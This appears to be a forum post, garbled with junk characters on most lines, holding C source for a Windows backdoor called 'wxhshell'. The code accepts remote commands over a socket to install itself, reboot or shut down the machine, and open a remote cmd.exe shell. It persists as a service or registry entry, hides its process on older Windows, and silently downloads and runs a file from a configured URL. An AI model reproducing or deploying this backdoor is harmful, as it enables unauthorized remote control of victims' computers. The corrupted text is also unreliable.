  2: ^njqX  
  // 帮助 ? Nj)6_&  
  case '?': { ! p.^ITM3S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); APBK9ky  
    break; :h5J r8  
  } pA4 ,@O  
  // 安装 Q+[ .Y&  
  case 'i': { [/9(NUf  
    if(Install()) 8e:vWgQpL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %vqT#+x  
    else pO/%N94s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a5c'V   
    break; nfE@R."A  
    } !vqC+o>@  
  // 卸载 Jbw!:x [  
  case 'r': { HkjEiU  
    if(Uninstall()) R,0Oq5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Xf(^K  
    else :=.*I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !k&)EWP?  
    break; ~l4f{uOD>]  
    } p8>%Mflf  
  // 显示 wxhshell 所在路径 &r_uQbx  
  case 'p': { TUTe9;)  
    char svExeFile[MAX_PATH]; |r =DBd3  
    strcpy(svExeFile,"\n\r"); )2j:z#'>  
      strcat(svExeFile,ExeFile); bKz{wm%  
        send(wsh,svExeFile,strlen(svExeFile),0); 3VO:+mT  
    break; \HSicV#i  
    } ?Myh 7  
  // 重启 O.\h'3C  
  case 'b': { 7sV /_3H+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uH{'gd,q8  
    if(Boot(REBOOT)) 5w3Fqu>39?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78Y@OL_$  
    else { xy^1US ,L1  
    closesocket(wsh); vOT*iax0  
    ExitThread(0); X0i3_RVa  
    } "sbBe73 m  
    break; Lo`F  
    } 4M`Xrfwm'[  
  // 关机 9M2f!kJP$  
  case 'd': { v*TeTA %  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G}Z4g  
    if(Boot(SHUTDOWN)) h_ ZX/k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h=S7M9.  
    else { U":"geU  
    closesocket(wsh); 0X"\ a'M_  
    ExitThread(0); I,P!@  
    } J W"  
    break; uLW/f=7 L  
    } L#j/0IHD  
  // 获取shell 5' \)`  
  case 's': { Y3o Mh,  
    CmdShell(wsh); /bcY6b=:  
    closesocket(wsh); eE3-t/=  
    ExitThread(0); /$`;r2LG  
    break; h}6_ybmZ  
  } +TX/g~  
  // 退出 "iek,Y}j7  
  case 'x': { Z3;=w%W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YmDn+VIg  
    CloseIt(wsh); h6QWH  
    break; Vyt E  
    } ]P3[.$z  
  // 离开 FdxsU DL  
  case 'q': { [x_s/"Md;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rm|7 [mK  
    closesocket(wsh); l9Pu&M?5  
    WSACleanup(); ,}7_[b)&V  
    exit(1); fN[n>%)VO<  
    break; OmNn,PCl8  
        } # "r kuDO  
  } (#u{ U=  
  } }tR'Hz2  
qJ Gm8^b-  
  // 提示信息 =] KIkS3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e^frVEV  
} [=~!w_  
  } iS-K ~qa  
;1E_o  
  return; 9[{sEg=C$e  
} 3^~Zj95M  
Czh8zB+r  
// shell模块句柄 Mjw[:70  
int CmdShell(SOCKET sock) ~d+O/:=K_  
{ .0 X$rX=  
STARTUPINFO si; lC{L6&T  
ZeroMemory(&si,sizeof(si)); V.j#E 1P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FO^24p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?*o;o?5s^  
PROCESS_INFORMATION ProcessInfo; qw0~ *0}  
char cmdline[]="cmd"; fLM.k CD?u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +$ ~8)95<B  
  return 0; ZgBckb  
} G5u meqYC  
npj5U/  
// 自身启动模式 Rp eBm#E2  
int StartFromService(void) 'FxYMSZS$  
{ BvJ\x)  
typedef struct I}%mfojC  
{ }K;iJ~kD1  
  DWORD ExitStatus; -x?Hj/  
  DWORD PebBaseAddress; 3N3*`?5c<  
  DWORD AffinityMask; kA,4$ 2_o  
  DWORD BasePriority; JP%RTGu  
  ULONG UniqueProcessId; l#ygb|=x  
  ULONG InheritedFromUniqueProcessId; y4r2}8fi  
}   PROCESS_BASIC_INFORMATION; @Yarz1  
`skH-lk,  
PROCNTQSIP NtQueryInformationProcess; %IU4\ZY>  
5~yQ>h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S5/p=H:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bxt_a.LthH  
un&>  
  HANDLE             hProcess; dcP88!#5-  
  PROCESS_BASIC_INFORMATION pbi; w= B  
cf&C|U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )BpIxWd?  
  if(NULL == hInst ) return 0; vVdxi9yk  
_KxX&THaj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i8eA_Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !|(Ao"]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V^WQ6G1  
R05T5Q1]A  
  if (!NtQueryInformationProcess) return 0; 6Ok,_ !  
9JXhHAxD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `>y[wa>9r  
  if(!hProcess) return 0; 8(uw0~GO  
*Ji9%IA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sy:K:Z|[U  
9<w=),R`8  
  CloseHandle(hProcess); `U!(cDY  
YpiRF+G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J]\s*,C&  
if(hProcess==NULL) return 0; flPZlL  
DbQBVy  
HMODULE hMod; uzO {{S-  
char procName[255]; %'kX"}N/  
unsigned long cbNeeded; +O,V6XRr  
Ho>p ^p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QdirE4W  
x6jm -n  
  CloseHandle(hProcess); 35}P0+  
6\XP|n-0+0  
if(strstr(procName,"services")) return 1; // 以服务启动 a0)vvo=bz  
&!4( 0u  
  return 0; // 注册表启动 tRkrV]K  
} )v};C<  
Jfe~ ,cI  
// 主模块 C\J@fpH(t`  
int StartWxhshell(LPSTR lpCmdLine) #'#4hJ*YC  
{ Dn: Yi8=  
  SOCKET wsl; VDPxue  
BOOL val=TRUE; g8Ok ^  
  int port=0; $=7H1 w  
  struct sockaddr_in door; j#CuR7m  
s^obJl3  
  if(wscfg.ws_autoins) Install(); rx{#+ iw  
1RURZoL  
port=atoi(lpCmdLine);  ?DJuQFv  
>[ @{$\?x:  
if(port<=0) port=wscfg.ws_port; ,,XS;X?  
_pJX1_vD  
  WSADATA data; fO0- N>W'P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +Z )`inw  
?Z5$0-g'hU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uAChu]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =":@Foa  
  door.sin_family = AF_INET; IM$ 'J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LxIuxt=X|p  
  door.sin_port = htons(port); `Nkx7Z~w:  
T3 =)F%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o:h)~[n|  
closesocket(wsl); byp.V_a}/  
return 1; ZV0) ."^Z  
} #cR57=M}  
twAw01".  
  if(listen(wsl,2) == INVALID_SOCKET) { kWI]fZ_n  
closesocket(wsl); Qh/lT$g  
return 1; TeOFAIU  
} ?exALv'B  
  Wxhshell(wsl); cPx66Dh&  
  WSACleanup(); K,Lr +  
<<i=+ed8eP  
return 0; >qr=l,Hi  
F>p%2II/  
} [''=><  
Mf!owpW T  
// 以NT服务方式启动 ,^Ex}Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B[C7G7<B  
{ bBd*}"v^"  
DWORD   status = 0; RJQ/y3  
  DWORD   specificError = 0xfffffff; >:="?'N5l!  
g]:..W7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V=:,]fTr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z?5,cI[6#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u!sSgx =  
  serviceStatus.dwWin32ExitCode     = 0; \ro~-n+o  
  serviceStatus.dwServiceSpecificExitCode = 0; 44z=m MR<  
  serviceStatus.dwCheckPoint       = 0; SZNFE  
  serviceStatus.dwWaitHint       = 0; ER0TY,  
}Ox2olUX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z`e$~n(Bh  
  if (hServiceStatusHandle==0) return; ':5U&  
tW'qO:y+  
status = GetLastError(); ZKVp[A  
  if (status!=NO_ERROR) [I#Q  
{ b=6ZdN1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; = .fc"R|<K  
    serviceStatus.dwCheckPoint       = 0; 8f5%xY$  
    serviceStatus.dwWaitHint       = 0; 5;r({ J  
    serviceStatus.dwWin32ExitCode     = status; A{xSbbDk  
    serviceStatus.dwServiceSpecificExitCode = specificError; !.x=r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O%r S;o  
    return; :==UDVP  
  } LX&=uv%-^  
!H2C9l:rd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '5&B~ 1&  
  serviceStatus.dwCheckPoint       = 0; Ut0qr kqF  
  serviceStatus.dwWaitHint       = 0; 8Xt=eL/P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5<0Yh#_  
}  ] I N -  
hg)!m\g  
// 处理NT服务事件,比如:启动、停止 n:%'{}Jw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y}.y,\S0  
{ P#M<CG9  
switch(fdwControl) e!O &~#'h}  
{ (cbB %  
case SERVICE_CONTROL_STOP: $6qR/#74  
  serviceStatus.dwWin32ExitCode = 0; ?etj.\q6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lk5_s@V l  
  serviceStatus.dwCheckPoint   = 0; $\=6."R5<  
  serviceStatus.dwWaitHint     = 0; w+:+r/!g  
  { #)Id J]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f?oI'5R41  
  } B$iMU?B3  
  return; 9}7oKlyk  
case SERVICE_CONTROL_PAUSE: *R1d4|/G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cHfK-R  
  break; ]}*G[[ ^p  
case SERVICE_CONTROL_CONTINUE: +LvZ87O^~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SV$ASs  
  break; < :S?t2C  
case SERVICE_CONTROL_INTERROGATE: r)*_,Fo|  
  break; 3@#,i<ge:  
}; [bQ8A(u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^+YGSg7  
} ^+.e5roBKj  
yDl5t-0`  
// 标准应用程序主函数 4.$hHFqS^5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |G5=>W  
{ iyHp$~,q?t  
Av\ 0GqF  
// 获取操作系统版本 HvL9;^!  
OsIsNt=GetOsVer(); *>R/(Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l-JKcsM  
6r ?cpJV{  
  // 从命令行安装 U7f#Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); 60SenHKles  
?N9adL &b  
  // 下载执行文件 l7FZ;%&  
if(wscfg.ws_downexe) { M zA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {;wK,dU  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sxx.>gP"61  
} ! 7#froh  
,& {5,=  
if(!OsIsNt) { `OF g.R|  
// 如果时win9x,隐藏进程并且设置为注册表启动 pRaoR  
HideProc(); s2 t-T0;  
StartWxhshell(lpCmdLine); Y?q*hS0!H  
} 2R~=@  
else 0bRkC,N (  
  if(StartFromService()) 9fk\Ay1P  
  // 以服务方式启动 knj,[7uh  
  StartServiceCtrlDispatcher(DispatchTable); a|^-z|.  
else 5#A1u Nb  
  // 普通方式启动 3]5&&=#  
  StartWxhshell(lpCmdLine); cUX]tiC0  
=&<$I  
return 0; 1Rb<(%   
}
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只看该作者 1 发表于: 2006-10-10
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